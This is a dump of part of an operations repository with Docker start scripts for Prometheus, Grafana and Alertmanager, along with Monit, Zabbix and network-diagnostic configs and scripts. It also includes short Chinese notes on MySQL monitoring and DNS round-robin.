/IAAS/monitor/TX_monit/Monitor使用介绍.ppt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/TX_monit/Monitor使用介绍.ppt -------------------------------------------------------------------------------- /IAAS/monitor/TX_monit/monitor3.0后台架构设计及实现.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/TX_monit/monitor3.0后台架构设计及实现.pptx -------------------------------------------------------------------------------- /IAAS/monitor/TX_monit/monitor运维安装.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/TX_monit/monitor运维安装.docx -------------------------------------------------------------------------------- /IAAS/monitor/TX_monit/监控系统之monitor系统简介.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/TX_monit/监控系统之monitor系统简介.pptx -------------------------------------------------------------------------------- /IAAS/monitor/alertmanager/alertmanager.md: -------------------------------------------------------------------------------- 1 | # alertmanager 2 | 2018/5/2 3 | 4 | 5 | ### deploy 6 | 7 | ```bash 8 | ~]# cat start.sh 9 | #!/bin/bash 10 | # 11 | # 2018/5/2 12 | 13 | test $(docker ps -a -f name=monitor_alertmanager -q |wc -l) -eq 0 || \ 14 | docker rm -f $(docker ps -a -f name=monitor_alertmanager -q) 15 | 16 | docker run -d -p '127.0.0.1:9093:9093' \ 17 | --name monitor_alertmanager \ 18 | -v /data/server/alertmanager/data:/alertmanager \ 19 | -v /data/server/alertmanager/conf/alertmanager.yml:/etc/alertmanager/config.yml \ 20 | -v /data/server/alertmanager/templates:/etc/alertmanager/templates \ 21 | prom/alertmanager:v0.14.0 22 | 23 | 24 | ``` 25 | -------------------------------------------------------------------------------- /IAAS/monitor/alertmanager/conf/alertmanager.yml: -------------------------------------------------------------------------------- 1 | templates: 2 | - templates/*.tmpl 3 | 4 | route: 5 | receiver: 'wechat' 6 | 7 | receivers: 8 | - name: 'wechat' 9 | wechat_configs: 10 | - send_resolved: true 11 | message: '{{ template "wechat.default.message" . }}' 12 | api_secret: 'xxx' 13 | corp_id: 'xxx' 14 | agent_id: '111' 15 | to_party: '111' 16 | -------------------------------------------------------------------------------- /IAAS/monitor/grafana/docker-reverse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/grafana/docker-reverse.png -------------------------------------------------------------------------------- /IAAS/monitor/grafana/docker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/grafana/docker.png -------------------------------------------------------------------------------- /IAAS/monitor/grafana/grafana.md: -------------------------------------------------------------------------------- 1 | # grafana 2 | 2018/4/23 3 | 4 | ### deploy 5 | 6 | ```bash 7 | ~]# cat start.sh 8 | #!/bin/bash 9 | # 10 | # 2018/4/23 11 | 12 | test $(docker ps -a -f name=monitor_grafana -q |wc -l) -eq 0 || \ 13 | docker rm -f $(docker ps -a -f name=monitor_grafana -q) 14 | 15 | docker run -d -p 3000:3000 \ 16 | --name monitor_grafana \ 17 | -v /data/server/grafana/data:/var/lib/grafana \ 18 | -e "GF_SECURITY_ADMIN_USER=${ADMIN_USER:-admin}" \ 19 | -e "GF_SECURITY_ADMIN_PASSWORD=${ADMIN_PASSWORD:-admin}" \ 20 | grafana/grafana 21 | 22 | ``` 23 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/dubbo-monitor.conf: -------------------------------------------------------------------------------- 1 | check process dubbo-monitor with MATCHING '/dubbo-monitor/' 2 | start program = "/opt/dubbo/dubbo-monitor/bin/start.sh" with timeout 12 seconds 3 | stop program = "/opt/dubbo/dubbo-monitor/bin/stop.sh" 4 | 5 | alert user1@company.com not on { ppid,instance } 6 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/flume-ng.conf: -------------------------------------------------------------------------------- 1 | check process flume-ng with pidfile /var/run/flume/flume-ng-agent.pid 2 | start program = "/etc/init.d/flume-ng-agent start" 3 | stop program = "/etc/init.d/flume-ng-agent stop" 4 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/fs.conf: -------------------------------------------------------------------------------- 1 | check filesystem rootfs with path / 2 | if space usage > 90% for 5 times within 15 cycles then alert 3 | if space usage > 99% then stop 4 | if inode usage > 95% for 5 times within 15 cycles then alert 5 | if inode usage > 99% then stop 6 | 7 | check filesystem usr_local with path /usr/local 8 | if space usage > 90% for 5 times within 15 cycles then alert 9 | if space usage > 99% then stop 10 | if inode usage > 95% for 5 times within 15 cycles then alert 11 | if inode usage > 99% then stop 12 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/iptables.conf: -------------------------------------------------------------------------------- 1 | check file iptables with path /var/lock/subsys/iptables 2 | start program = "/etc/init.d/iptables start" 3 | stop program = "/etc/init.d/iptables stop" 4 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/mail-format.conf: -------------------------------------------------------------------------------- 1 | set mail-format { 2 | from: from@xxx.com 3 | subject: [Service Alter][public] $HOST $SERVICE $EVENT 4 | message: $EVENT Service $SERVICE 5 | Date: $DATE 6 | Action: $ACTION 7 | Host: $HOST 8 | Service: $SERVICE 9 | Description: $DESCRIPTION 10 | 11 | Your faithful employee, 12 | monit 13 | } 14 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/monit-config.conf: -------------------------------------------------------------------------------- 1 | check directory config with path /etc/monit.d 2 | if changed timestamp then exec "/usr/bin/monit reload" 3 | noalert abc@xxx.com 4 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/moxi.conf: -------------------------------------------------------------------------------- 1 | check process moxi-server with pidfile /var/run/moxi-server.pid 2 | start program = "/etc/init.d/moxi-server start" 3 | stop program = "/etc/init.d/moxi-server stop" 4 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/nginx.conf: -------------------------------------------------------------------------------- 1 | check process nginx with pidfile /var/run/nginx.pid 2 | start program = "/etc/init.d/nginx start" 3 | stop program = "/etc/init.d/nginx stop" 4 | if failed host 127.0.0.1 port 80 type TCP for 2 times within 3 cycles then restart 5 | 6 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/ntpd.conf: -------------------------------------------------------------------------------- 1 | check process ntpd with pidfile /var/run/ntpd.pid 2 | start program = "/etc/init.d/ntpd start" 3 | stop program = "/etc/init.d/ntpd stop" 4 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/passwd.conf: -------------------------------------------------------------------------------- 1 | check file passwd with path "/etc/passwd" 2 | if changed checksum then alert 3 | 4 | check file shadow with path "/etc/shadow" 5 | if changed checksum then alert 6 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/salt-minion.conf: -------------------------------------------------------------------------------- 1 | check process salt-minion with pidfile /var/run/salt-minion.pid 2 | start program = "/etc/init.d/salt-minion start" 3 | stop program = "/etc/init.d/salt-minion stop" 4 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/ssh.conf: -------------------------------------------------------------------------------- 1 | check process ssh with pidfile /var/run/sshd.pid 2 | start program = "/etc/init.d/sshd start" 3 | stop program = "/etc/init.d/sshd stop" 4 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/tomcat.conf: -------------------------------------------------------------------------------- 1 | check process someapp-8080 with pidfile /var/run/tomcat.pid 2 | start program = "/opt/tomcat/bin/startup.sh" with timeout 12 seconds 3 | stop program = "/opt/tomcat/bin/shutdown.sh" 4 | if failed host 127.0.0.1 port 8080 type TCP for 2 times within 3 cycles then restart 5 | 6 | alert abc@xxx.com not on { ppid,instance } 7 | -------------------------------------------------------------------------------- /IAAS/monitor/monit/conf/monit.d/zabbix-agent.conf: -------------------------------------------------------------------------------- 1 | check process zabbix-agentd with pidfile /var/run/zabbix/zabbix_agentd.pid 2 | start program = "/etc/init.d/zabbix-agent start" 3 | stop program = "/etc/init.d/zabbix-agent stop" 4 | -------------------------------------------------------------------------------- /IAAS/monitor/prometheus/prometheus.md: -------------------------------------------------------------------------------- 1 | # prometheus 2 | 2018/4/23 3 | 4 | ### deploy 5 | 6 | ```bash 7 | ~]# cat start.sh 8 | #!/bin/bash 9 | # 10 | # 2018/4/23 11 | 12 | test $(docker ps -a -f name=monitor_prometheus -q |wc -l) -eq 0 || \ 13 | docker rm -f $(docker ps -a -f name=monitor_prometheus -q) 14 | 15 | docker run -d -p 9090:9090 \ 16 | --name monitor_prometheus \ 17 | -v "$(pwd)"/config.yml:/etc/prometheus/prometheus.yml \ 18 | -v "$(pwd)"/rules_docker_node.yml:/etc/prometheus/rules_docker_node.yml \ 19 | prom/prometheus:v2.2.1 \ 20 | --config.file=/etc/prometheus/prometheus.yml \ 21 | --storage.tsdb.path=/prometheus \ 22 | --storage.tsdb.retention=7d 23 | 24 | ``` 25 | -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/conf/etc-zabbix/zabbix_agentd.d/userparameter_nginx.conf: -------------------------------------------------------------------------------- 1 | UserParameter=nginx.accepts,/etc/zabbix/scripts/nginx_status accepts 2 | UserParameter=nginx.handled,/etc/zabbix/scripts/nginx_status handled 3 | UserParameter=nginx.requests,/etc/zabbix/scripts/nginx_status requests 4 | UserParameter=nginx.connections.active,/etc/zabbix/scripts/nginx_status active 5 | UserParameter=nginx.connections.reading,/etc/zabbix/scripts/nginx_status reading 6 | UserParameter=nginx.connections.writing,/etc/zabbix/scripts/nginx_status writing 7 | UserParameter=nginx.connections.waiting,/etc/zabbix/scripts/nginx_status waiting 8 | -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/lld_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/zabbix/couchbase/lld_01.png -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/lld_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/zabbix/couchbase/lld_02.png -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/lld_03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/zabbix/couchbase/lld_03.png -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/lld_04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/zabbix/couchbase/lld_04.png -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/lld_05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/zabbix/couchbase/lld_05.png -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/lld_06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/zabbix/couchbase/lld_06.png -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/lld_07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/zabbix/couchbase/lld_07.png -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/lld_08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/monitor/zabbix/couchbase/lld_08.png -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/couchbase/userparameter_couchbase.conf: -------------------------------------------------------------------------------- 1 | ## cluster 2 | UserParameter=couchbase.cluster.healthy[*], /bin/bash /etc/zabbix/scripts/monitor_couchbase.sh cluster_healthy 3 | ## node 4 | UserParameter=couchbase.node.healthy[*], /bin/bash /etc/zabbix/scripts/monitor_couchbase.sh node_healthy 5 | UserParameter=couchbase.node.active[*], /bin/bash /etc/zabbix/scripts/monitor_couchbase.sh node_active 6 | ## bucket 7 | UserParameter=couchbase.bucket.discovery[*], /bin/bash /etc/zabbix/scripts/monitor_couchbase.sh bucket_lld 8 | UserParameter=couchbase.bucket.get[*], /bin/bash /etc/zabbix/scripts/monitor_couchbase.sh bucket_info $1 $2 9 | -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/diskstats/userparameter_diskstats.conf: -------------------------------------------------------------------------------- 1 | ## lld 2 | UserParameter=diskstats.disk.discovery[*], /bin/bash /etc/zabbix/scripts/monitor_disk_io.sh lld 3 | ## diskstats 4 | UserParameter=diskstats.get[*], /bin/bash /etc/zabbix/scripts/monitor_disk_io.sh get $1 $2 5 | -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/ip_port_status/userparameter_ip_port.conf: -------------------------------------------------------------------------------- 1 | ## lld 2 | UserParameter=ip.port.discovery[*], /bin/bash /etc/zabbix/scripts/monitor_ip_port.sh lld 3 | ## tcp listen status 4 | UserParameter=ip.port.get[*], /bin/bash /etc/zabbix/scripts/monitor_ip_port.sh get $1 $2 5 | -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/tengine_reqstat/userparameter_tengine_reqstat.conf: -------------------------------------------------------------------------------- 1 | # 2 | ## use lld: for all hosts. 3 | # 4 | UserParameter=tengine.reqstat.discovery[*], /bin/bash /etc/zabbix/scripts/monitor_tengine_reqstat.sh lld 5 | # sh monitor_tengine_reqstat.sh get www.example.com:80 bytes_in 6 | UserParameter=tengine.reqstat.get[*], /bin/bash /etc/zabbix/scripts/monitor_tengine_reqstat.sh get $1 $2 7 | -------------------------------------------------------------------------------- /IAAS/monitor/zabbix/zabbix监控mysql.txt: -------------------------------------------------------------------------------- 1 | http://www.yuminstall.com/zabbix-monitoring-mysql.html 2 | 3 | 1)模板名称:Template App MySQL 4 | 增加模版到对应的主机。 5 | 6 | 2)客户端: 7 | 创建一个msyql账户用于zabbix agent 获取mysql状态。账户不需要任何权限 8 | 9 | GRANT USAGE ON *.* TO 'zabbix'@'127.0.0.1' IDENTIFIED BY 'xxx'; 10 | FLUSH PRIVILEGES; 11 | 12 | 13 | 在zabbix用户的home目录/var/lib/zabbix下新建文件: 14 | .my.cnf 15 | 用于Zabbix Agent访问数据库,内容如下: 16 | 17 | # Zabbix Agent 18 | [mysql] 19 | host = 127.0.0.1 20 | port = 3306 21 | user = zabbix 22 | password = xxx 23 | 24 | [mysqladmin] 25 | host = 127.0.0.1 26 | port = 3306 27 | user = zabbix 28 | password = xxx 29 | 30 | 31 | 检查:/etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf 32 | 默认的HOME是:/var/lib/zabbix 33 | 若对应的目录是其他目录,要修改此处。 34 | 35 | 36 | 重启Zabbix Agent 37 | service zabbix-agent restart 38 | -------------------------------------------------------------------------------- /IAAS/net/DNS轮询.txt: -------------------------------------------------------------------------------- 1 | DNS轮询的时候,IP是如何给出的?流量是完全平均的么? 2 | 客户机要访问网站,那么需要获得域名绑定的主机服务器IP。流程如下: 3 | 4 | 首先,客户机 发请求给 递归服务器(地方宽带运营商服务器),递归服务器 发请求给 解析服务器; 5 | 然后,解析服务器 将域名设置的所有轮询主机服务器IP返回给 递归服务器,递归服务器 将这些IP再返回给 客户机; 6 | 最后,客户机 的浏览器会 随机 访问其中的一个IP 进行访问。 7 | 8 | 所以,由于访问者访问的资源不同,流量是不可能做到完全平均的。 -------------------------------------------------------------------------------- /IAAS/net/OSI.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/OSI.jpeg -------------------------------------------------------------------------------- /IAAS/net/archi/SMB企业如何扩容网络架构示例一.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/SMB企业如何扩容网络架构示例一.png -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/23AFACF8-3F4A-4e67-B03D-83C74CEC5DC7/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/23AFACF8-3F4A-4e67-B03D-83C74CEC5DC7/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/7424F8EE-942B-48f7-A99B-38E824D65C81/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/7424F8EE-942B-48f7-A99B-38E824D65C81/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/84291891-FD1B-4e91-9AF4-827322E7FC31/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/84291891-FD1B-4e91-9AF4-827322E7FC31/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/F44F6317-CE36-4b09-85B8-7D605CFA373B/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/F44F6317-CE36-4b09-85B8-7D605CFA373B/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/eNSP-SMB企业如何扩容网络架构示例一.topo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-SMB企业如何扩容网络架构示例一/eNSP-SMB企业如何扩容网络架构示例一.topo -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/35B406FA-8522-457b-BF6D-B1B34EBC12B3/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/35B406FA-8522-457b-BF6D-B1B34EBC12B3/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/523932EA-61C1-433e-918C-DADF4BF25754/vrpcfg.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/523932EA-61C1-433e-918C-DADF4BF25754/vrpcfg.zip -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/A74DE3D0-E6C1-4dac-814D-6C002662A247/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/A74DE3D0-E6C1-4dac-814D-6C002662A247/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/BB7858E3-5692-4e84-810D-EA0BB774D374/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/BB7858E3-5692-4e84-810D-EA0BB774D374/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/D352C382-D9D4-43e1-8F7C-1E4939332684/PC.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/D352C382-D9D4-43e1-8F7C-1E4939332684/PC.xml -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/D3DB2FF9-CB89-4166-9EBA-318D878A94D3/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/D3DB2FF9-CB89-4166-9EBA-318D878A94D3/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/eNSP-私有云网络规划涂鸦(full vlan模式).topo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(full vlan模式)/eNSP-私有云网络规划涂鸦(full vlan模式).topo -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/35B406FA-8522-457b-BF6D-B1B34EBC12B3/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/35B406FA-8522-457b-BF6D-B1B34EBC12B3/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/523932EA-61C1-433e-918C-DADF4BF25754/vrpcfg.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/523932EA-61C1-433e-918C-DADF4BF25754/vrpcfg.zip -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/A74DE3D0-E6C1-4dac-814D-6C002662A247/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/A74DE3D0-E6C1-4dac-814D-6C002662A247/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/BB7858E3-5692-4e84-810D-EA0BB774D374/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/BB7858E3-5692-4e84-810D-EA0BB774D374/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/D352C382-D9D4-43e1-8F7C-1E4939332684/PC.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/D352C382-D9D4-43e1-8F7C-1E4939332684/PC.xml -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/D3DB2FF9-CB89-4166-9EBA-318D878A94D3/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/D3DB2FF9-CB89-4166-9EBA-318D878A94D3/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/eNSP-私有云网络规划涂鸦(single vlan模式).topo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(single vlan模式)/eNSP-私有云网络规划涂鸦(single vlan模式).topo -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/35B406FA-8522-457b-BF6D-B1B34EBC12B3/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/35B406FA-8522-457b-BF6D-B1B34EBC12B3/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/A74DE3D0-E6C1-4dac-814D-6C002662A247/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/A74DE3D0-E6C1-4dac-814D-6C002662A247/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/BB7858E3-5692-4e84-810D-EA0BB774D374/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/BB7858E3-5692-4e84-810D-EA0BB774D374/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/D3DB2FF9-CB89-4166-9EBA-318D878A94D3/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/D3DB2FF9-CB89-4166-9EBA-318D878A94D3/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/ECAE6C71-9375-4f2b-822A-8DAD69CA1033/flash.efz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/ECAE6C71-9375-4f2b-822A-8DAD69CA1033/flash.efz -------------------------------------------------------------------------------- /IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/eNSP-私有云网络规划涂鸦(内外网边界).topo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/eNSP-私有云网络规划涂鸦(内外网边界)/eNSP-私有云网络规划涂鸦(内外网边界).topo -------------------------------------------------------------------------------- /IAAS/net/archi/idc_network_design_from_ele.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/idc_network_design_from_ele.png -------------------------------------------------------------------------------- /IAAS/net/archi/idc_network_design_from_zstack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/idc_network_design_from_zstack.png -------------------------------------------------------------------------------- /IAAS/net/archi/ref-arch-certified-hardware-2015-02-17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/ref-arch-certified-hardware-2015-02-17.png -------------------------------------------------------------------------------- /IAAS/net/archi/私有云规划.eddx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/私有云规划.eddx -------------------------------------------------------------------------------- /IAAS/net/archi/私有云规划.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/net/archi/私有云规划.pdf -------------------------------------------------------------------------------- /IAAS/net/bin/check_dns_record.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # 2017/3/23 4 | # PC 5 | # ver1.0.0 6 | 7 | 8 | f_domain=$1 9 | f_dns=$2 10 | #f_dns="119.29.29.29" 11 | 12 | n=0 13 | for i in 1 2 3 14 | do 15 | ret=`nslookup ${f_domain} ${f_dns} -timeout=3 |grep -A 1 'Name' |wc -l` 16 | [ $ret -gt 0 ] || n=$(($n+1)) 17 | sleep .2 18 | done 19 | echo $n 20 | -------------------------------------------------------------------------------- /IAAS/net/bin/get_snmp_status.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # 2015/12/21 4 | 5 | function do_check() { 6 | echo "[+] `date '+%F %T'` GET SNMP STATUS FROM: $1" 7 | /usr/bin/snmpwalk -v 2c -c public $1 1.3.6.1.4.1.674.10892.2.2.1.0 8 | retval=$? 9 | if [ ${retval} -eq 1 ]; then 10 | ping -c 10 $1 11 | nmap -p 161 -sU $1 12 | fi 13 | echo "[-] `date '+%F %T'` DONE!" 14 | } 15 | 16 | function do_clean() { 17 | dt_old=$(date -d '-1 days' +%F) 18 | retval=`grep "${dt_old} 23:59" $1 |wc -l` 19 | if [ ${retval} -eq 2 ]; then 20 | echo "[+] `date '+%F %T'` Clean.">$1 21 | fi 22 | } 23 | 24 | do_clean /tmp/get_snmp_status.log 25 | do_check 10.50.200.101 >>/tmp/get_snmp_status.log 2>&1 26 | -------------------------------------------------------------------------------- /IAAS/net/bin/ip.test: -------------------------------------------------------------------------------- 1 | 